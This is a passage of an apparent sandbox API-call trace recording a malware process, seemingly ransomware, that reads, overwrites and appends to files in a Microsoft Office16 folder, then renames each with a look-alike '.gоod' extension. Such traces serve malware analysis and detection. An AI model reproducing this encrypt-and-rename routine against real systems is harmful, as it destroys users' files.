lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", lpFilePart=0x0) returned 0x3e [0145.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0145.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0145.350] GetFileType (hFile=0x650) returned 0x1 [0145.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0145.352] GetFileType (hFile=0x650) returned 0x1 [0145.352] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x4854 [0145.352] WriteFile (in: hFile=0x650, lpBuffer=0x384b9e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x384b9e0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0145.353] CloseHandle (hObject=0x650) returned 1 [0145.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", lpFilePart=0x0) returned 0x3e [0145.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0145.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0145.354] GetFileType (hFile=0x650) returned 0x1 [0145.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0145.354] GetFileType (hFile=0x650) returned 0x1 [0145.354] ReadFile (in: hFile=0x650, lpBuffer=0x384dc90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x384dc90*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0145.381] CloseHandle (hObject=0x650) returned 1 [0145.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", lpFilePart=0x0) returned 0x3e [0145.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0145.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0145.382] GetFileType (hFile=0x650) returned 0x1 [0145.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0145.382] GetFileType (hFile=0x650) returned 0x1 [0145.382] WriteFile (in: hFile=0x650, lpBuffer=0x384c9f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x384c9f8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0145.382] CloseHandle (hObject=0x650) returned 1 [0145.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man", lpFilePart=0x0) returned 0x3e [0145.382] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man.gоod", lpFilePart=0x0) returned 0x43 [0145.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0145.382] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x52dd3976, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4864)) returned 1 [0145.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0145.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\McePerfCtr.man.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mceperfctr.man.gоod")) returned 1 [0145.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", lpFilePart=0x0) returned 0x48 [0145.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0145.383] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip"), fInfoLevelId=0x0, lpFileInformation=0x38ca100 | out: lpFileInformation=0x38ca100*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b2049f6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x152b4)) returned 1 [0145.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0145.384] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", lpFilePart=0x0) returned 0x48 [0145.384] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0145.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0145.384] GetFileType (hFile=0x650) returned 0x1 [0145.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0145.384] GetFileType (hFile=0x650) returned 0x1 [0145.384] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0145.384] ReadFile (in: hFile=0x650, lpBuffer=0x38ca558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x38ca558*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0145.817] CloseHandle (hObject=0x650) returned 1 [0145.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", lpFilePart=0x0) returned 0x48 [0145.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0145.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0145.817] GetFileType (hFile=0x650) returned 0x1 [0145.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0145.817] GetFileType (hFile=0x650) returned 0x1 [0145.817] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x152b4 [0145.817] WriteFile (in: hFile=0x650, lpBuffer=0x37cac70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x37cac70*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0145.818] CloseHandle (hObject=0x650) returned 1 [0145.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", lpFilePart=0x0) returned 0x48 [0145.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0145.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0145.819] GetFileType (hFile=0x650) returned 0x1 [0145.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0145.819] GetFileType (hFile=0x650) returned 0x1 [0145.819] ReadFile (in: hFile=0x650, lpBuffer=0x37ccf50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x37ccf50*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0146.986] CloseHandle (hObject=0x650) returned 1 [0146.986] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", lpFilePart=0x0) returned 0x48 [0146.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0146.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0146.986] GetFileType (hFile=0x650) returned 0x1 [0146.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0146.987] GetFileType (hFile=0x650) returned 0x1 [0146.987] WriteFile (in: hFile=0x650, lpBuffer=0x362e2b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x362e2b8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0146.987] CloseHandle (hObject=0x650) returned 1 [0146.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip", lpFilePart=0x0) returned 0x48 [0146.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip.gоod", lpFilePart=0x0) returned 0x4d [0146.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0146.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x53d2cb1a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x152c4)) returned 1 [0146.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0146.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Model.zip.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.model.zip.gоod")) returned 1 [0146.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", lpFilePart=0x0) returned 0x55 [0146.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0146.988] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip"), fInfoLevelId=0x0, lpFileInformation=0x3b147c8 | out: lpFileInformation=0x3b147c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b1de7ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7072)) returned 1 [0146.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0146.988] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", lpFilePart=0x0) returned 0x55 [0146.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0146.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0146.989] GetFileType (hFile=0x650) returned 0x1 [0146.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0146.989] GetFileType (hFile=0x650) returned 0x1 [0146.989] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0146.989] ReadFile (in: hFile=0x650, lpBuffer=0x3b14c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x3b14c80*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0146.990] CloseHandle (hObject=0x650) returned 1 [0146.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", lpFilePart=0x0) returned 0x55 [0146.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0146.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0146.990] GetFileType (hFile=0x650) returned 0x1 [0146.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0146.990] GetFileType (hFile=0x650) returned 0x1 [0146.990] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x7072 [0146.991] WriteFile (in: hFile=0x650, lpBuffer=0x3b15f68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3b15f68*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0146.991] CloseHandle (hObject=0x650) returned 1 [0146.991] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", lpFilePart=0x0) returned 0x55 [0146.991] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0146.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0146.992] GetFileType (hFile=0x650) returned 0x1 [0146.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0146.992] GetFileType (hFile=0x650) returned 0x1 [0146.992] ReadFile (in: hFile=0x650, lpBuffer=0x3b18278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3b18278*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0147.326] CloseHandle (hObject=0x650) returned 1 [0147.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", lpFilePart=0x0) returned 0x55 [0147.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0147.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0147.326] GetFileType (hFile=0x650) returned 0x1 [0147.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0147.326] GetFileType (hFile=0x650) returned 0x1 [0147.326] WriteFile (in: hFile=0x650, lpBuffer=0x369e8a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x369e8a8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0147.326] CloseHandle (hObject=0x650) returned 1 [0147.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip", lpFilePart=0x0) returned 0x55 [0147.326] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip.gоod", lpFilePart=0x0) returned 0x5a [0147.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0147.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x54073ea4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7082)) returned 1 [0147.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0147.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.Controls.zip.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.controls.zip.gоod")) returned 1 [0147.327] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", lpFilePart=0x0) returned 0x4c [0147.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0147.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip"), fInfoLevelId=0x0, lpFileInformation=0x3839e90 | out: lpFileInformation=0x3839e90*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b2049f6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135c)) returned 1 [0147.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0147.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", lpFilePart=0x0) returned 0x4c [0147.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0147.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0147.328] GetFileType (hFile=0x650) returned 0x1 [0147.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0147.329] GetFileType (hFile=0x650) returned 0x1 [0147.329] SetFilePointer (in: hFile=0x650, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0147.329] ReadFile (in: hFile=0x650, lpBuffer=0x383a338, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x383a338*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0147.330] CloseHandle (hObject=0x650) returned 1 [0147.330] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip", lpFilePart=0x0) returned 0x4c [0147.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0147.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0147.330] GetFileType (hFile=0x650) returned 0x1 [0147.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0147.330] GetFileType (hFile=0x650) returned 0x1 [0147.330] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1135c [0147.330] WriteFile (in: hFile=0x650, lpBuffer=0x383b600*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x383b600*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 